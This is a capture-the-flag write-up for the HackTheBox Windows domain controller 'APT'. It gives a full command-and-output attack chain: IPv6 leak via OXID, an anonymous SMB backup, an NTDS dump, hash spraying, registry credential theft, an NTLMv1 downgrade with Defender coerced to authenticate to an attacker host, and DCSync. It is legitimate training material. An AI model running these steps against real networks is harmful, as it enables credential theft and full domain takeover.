# APT Writeup - HackTheBox

> Insane Windows box involving IPv6 enumeration, RPC abuse, dumping AD secrets via NTDS, and leveraging historical credential reuse to gain SYSTEM.

- **URL:** https://hackindex.io/writeups/apt
- **Platform:** HackTheBox
- **Difficulty:** Insane
- **Operating system:** Windows
- **Machine:** https://app.hackthebox.com/machines/apt?sort_by=created_at&sort_type=desc
- **Tags:** active-directory, ntds-dump, rpc-abuse, ipv6-enumeration, credential-reuse
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

APT is a Windows domain controller that hides almost everything behind IPv6. The chain runs: OXID resolution over MSRPC to leak the IPv6 address, an anonymous SMB share holding a full Active Directory backup, an offline NTDS dump, Kerberos pre-authentication brute force to turn one of those hashes into a working account, plaintext credentials in a per-user registry hive, and finally an NTLMv1 downgrade that gives up the domain controller machine account for a DCSync.

## Reconnaissance

### Port scan over IPv4

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:80
# Open $TARGET_IP:135
```

```bash
nmap -sCV -T4 -p80,135 $TARGET_IP -oA nmap/nmap
# PORT    STATE SERVICE VERSION
# 80/tcp  open  http    Microsoft IIS httpd 10.0
# |_http-server-header: Microsoft-IIS/10.0
# | http-methods:
# |_  Potentially risky methods: TRACE
# |_http-title: Gigantic Hosting | Home
# 135/tcp open  msrpc   Microsoft Windows RPC
# Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

A website and the RPC endpoint mapper, nothing else. Two ports on a Windows host with RPC exposed is worth a second look, because the OXID resolver in DCOM reports every interface the machine is bound to, no matter which interface the request arrived on. That includes addresses the IPv4 scan can never reach.

### Leaking the IPv6 address

```bash
git clone https://github.com/mubix/IOXIDResolver.git
python3 IOXIDResolver.py -t $TARGET_IP
# [*] Retrieving network interface of $TARGET_IP
# Address: apt
# Address: $TARGET_IP
# Address: $TARGET_IPV6
```

The host answers with its own name and a link local IPv6 address on top of the IPv4 one. Mapping `apt` to that address in `/etc/hosts` keeps name resolution working for the Kerberos tooling later, and rescanning over IPv6 shows the real machine.

### Port scan over IPv6

```bash
nmap -6 -Pn -sV -p53,80,88,135,389,445,464,593,636,3268,3269,5985,9389 apt
# PORT     STATE SERVICE           VERSION
# 53/tcp   open  domain            Simple DNS Plus
# 80/tcp   open  http              Microsoft IIS httpd 10.0
# 88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
# 135/tcp  open  msrpc             Microsoft Windows RPC
# 389/tcp  open  ldap
# 445/tcp  open  microsoft-ds      Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: HTB)
# 464/tcp  open  kpasswd5?
# 593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
# 636/tcp  open  ldapssl?
# 3268/tcp open  ldap
# 3269/tcp open  globalcatLDAPssl?
# 5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
# 9389/tcp open  mc-nmf            .NET Message Framing
```

DNS, Kerberos, LDAP, LDAPS, the global catalog, SMB and WinRM. This is a domain controller for `htb.local`, and every one of those services was invisible on the IPv4 path.

## Enumeration

### Anonymous SMB

```bash
smbclient -L //apt/ -N
# Anonymous login successful
#
#         Sharename       Type      Comment
#         ---------       ----      -------
#         backup          Disk
#         IPC$            IPC       Remote IPC
#         NETLOGON        Disk      Logon server share
#         SYSVOL          Disk      Logon server share
```

Null sessions are allowed and there is a `backup` share next to the standard domain shares. That name on a domain controller is worth reading immediately.

```bash
smbclient //apt/backup -N -c "get backup.zip" -t 300
# Anonymous login successful
# getting file \backup.zip of size 10650961 as backup.zip (98.8 KiloBytes/sec)
```

## Vulnerability Discovery

### What is inside the backup

```bash
unzip backup.zip
# Archive:  backup.zip
#    creating: Active Directory/
# [backup.zip] Active Directory/ntds.dit password:
```

The archive is encrypted, but the file listing already gives it away: `ntds.dit` is the Active Directory database, holding every domain object and every password hash. With the registry hives alongside it the whole domain can be decrypted offline. The zip password is the only thing in the way.

```bash
zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
# $BACKUP_ZIP_PASSWORD   (backup.zip)
# 1g 0:00:00:00 DONE
```

```bash
unzip backup.zip
#   inflating: Active Directory/ntds.dit
#   inflating: Active Directory/ntds.jfm
#    creating: registry/
#   inflating: registry/SECURITY
#   inflating: registry/SYSTEM
```

Everything needed for an offline dump is here. `SYSTEM` carries the boot key, `SECURITY` carries the LSA secrets, and `ntds.dit` carries the accounts encrypted under that boot key.

## Exploitation

### Offline NTDS dump

```bash
secretsdump.py local -system registry/SYSTEM -security registry/SECURITY -ntds "Active Directory/ntds.dit" -outputfile hashes
# [*] Target system bootKey: 0x936ce5da88593206567f650411e1d16b
# [*] Dumping cached domain logon information (domain/username:hash)
# [*] Dumping LSA Secrets
# [*] $MACHINE.ACC
# HTB\APT$:aad3b435b51404eeaad3b435b51404ee:$APT_MACHINE_HASH:::
# [*] DPAPI_SYSTEM
# <snip>
```

The dump writes one file per format, and the Kerberos keys file lists every account name, which is a username list without touching the network.

### Which accounts still exist

```bash
cut -d ':' -f 1 hashes.ntds.kerberos | sort -u > users.txt
kerbrute userenum -d htb.local --dc apt users.txt
# [+] VALID USERNAME:       Administrator@htb.local
# [+] VALID USERNAME:       APT$@htb.local
# [+] VALID USERNAME:       henry.vinson@htb.local
```

The backup is old, so most accounts in it are gone. Three survive, and `henry.vinson` is the only real user among them. The hashes from the dump are stale for that account, but Kerberos accepts an RC4 pre-authentication key that is the NT hash itself, so every hash in the dump can be tested against the live KDC as if it were a password.

```bash
cut -d ':' -f 4 hashes.ntds > hashes.txt
python2 ADPwdSpray.py htb.local apt henry.vinson ntlm hashes.txt
# [+] Valid hash: $HENRY_VINSONS_HASH
```

```bash
nxc smb apt -d htb.local -u henry.vinson -H $HENRY_VINSONS_HASH
# SMB    APT    [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True)
# SMB    APT    [+] htb.local\henry.vinson:$HENRY_VINSONS_HASH
```

The hash works over SMB, but the account has no WinRM rights, so Evil-WinRM refuses it. What it can still do is read the remote registry.

### Credentials in a loaded user hive

```bash
reg.py -hashes :$HENRY_VINSONS_HASH htb.local/henry.vinson@apt query -keyName HKU
# HKU\.DEFAULT
# HKU\S-1-5-19
# HKU\S-1-5-20
# HKU\S-1-5-21-2993095098-2100462451-206186470-1105
# HKU\S-1-5-18
```

A domain SID ending in 1105 is loaded, so that profile is active on the box. Walking its `Software` key turns up `GiganticHostingManagementSystem`, which matches the branding of the website from the first scan. Custom applications that keep their own settings there often keep credentials there too.

```bash
reg.py -hashes :$HENRY_VINSONS_HASH htb.local/henry.vinson@apt query -keyName 'HKU\S-1-5-21-2993095098-2100462451-206186470-1105\Software\GiganticHostingManagementSystem'
#         UserName        REG_SZ   henry.vinson_adm
#         PassWord        REG_SZ   $HENRY_VINSON_ADMS_PASSWORD
```

A second, privileged account with its password in cleartext. This one does have WinRM rights.

```bash
evil-winrm -u henry.vinson_adm -i apt -p '$HENRY_VINSON_ADMS_PASSWORD'
# *Evil-WinRM* PS C:\Users\henry.vinson_adm\Documents>
```

Foothold as `henry.vinson_adm`.

## Privilege Escalation

### PowerShell history

```powershell
type C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
# $Cred = get-credential administrator
# invoke-command -credential $Cred -computername localhost -scriptblock {Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" lmcompatibilitylevel -Type DWORD -Value 2 -Force}
```

Someone set `LmCompatibilityLevel` to 2 on this host. That value makes the client send NTLM responses while the machine still accepts LM and NTLMv1 inbound. NTLMv1 responses are three DES operations over the NT hash, so a captured response can be turned back into the hash itself, which NTLMv2 does not allow. Capturing one requires the machine to authenticate outbound to a listener under our control.

### Capturing an NTLMv1 response

```bash
responder -I tun0 --lm
# [+] Poisoning Options:
#     Force LM downgrade         [ON]
#     Force ESS downgrade        [ON]
# [+] Generic Options:
#     Challenge set              [1122334455667788]
```

The fixed challenge matters. NTLMv1 responses are normally salted per session, which defeats precomputation, but Responder always answers with `1122334455667788`, which is exactly the challenge the public DES tables were built for.

Windows Defender provides the coercion. A scan pointed at a UNC path forces the host to authenticate to that share before it can read the file, and the scan runs as the machine account.

```powershell
& "C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File \\$ATTACKER_IP\share\file.txt
# Scan starting...
```

```bash
responder -I tun0 --lm
# [SMB] NTLMv1 Client   : $TARGET_IP
# [SMB] NTLMv1 Username : HTB\APT$
# [SMB] NTLMv1 Hash     : APT$::HTB:$APT_NTLMV1_RESPONSE:$APT_NTLMV1_RESPONSE:1122334455667788
```

The response belongs to `APT$`, the domain controller machine account, because the scanning process authenticates as the computer rather than the logged on user. Submitting it to crack.sh in the `NTHASH:` format returns the NT hash for that account.

A domain controller machine account holds the replication rights that DCSync abuses, so that hash is enough to ask the domain for any account's secrets.

### DCSync and pass the hash

```bash
secretsdump.py 'htb.local/APT$@apt' -hashes :$APT_MACHINE_HASH -just-dc-user administrator
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
# [*] Using the DRSUAPI method to get NTDS.DIT secrets
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATORS_HASH:::
# [*] Kerberos keys grabbed
# <snip>
```

```bash
evil-winrm -u administrator -i apt -H $ADMINISTRATORS_HASH
# *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
# htb\administrator
```

Domain administrator over WinRM with the replicated hash. Both the user context and full domain compromise are covered.

Related

## References

- [IOXIDResolver](https://github.com/mubix/IOXIDResolver) - Queries the DCOM OXID resolver to list every interface a host is bound to.
- [crack.sh NetNTLMv1 cracking](https://crack.sh/netntlm/) - Explains the DES weakness in NTLMv1 and the fixed 1122334455667788 challenge requirement.
- [Network security: LAN Manager authentication level](https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level) - Microsoft documentation for the LmCompatibilityLevel values, including the weak value 2.
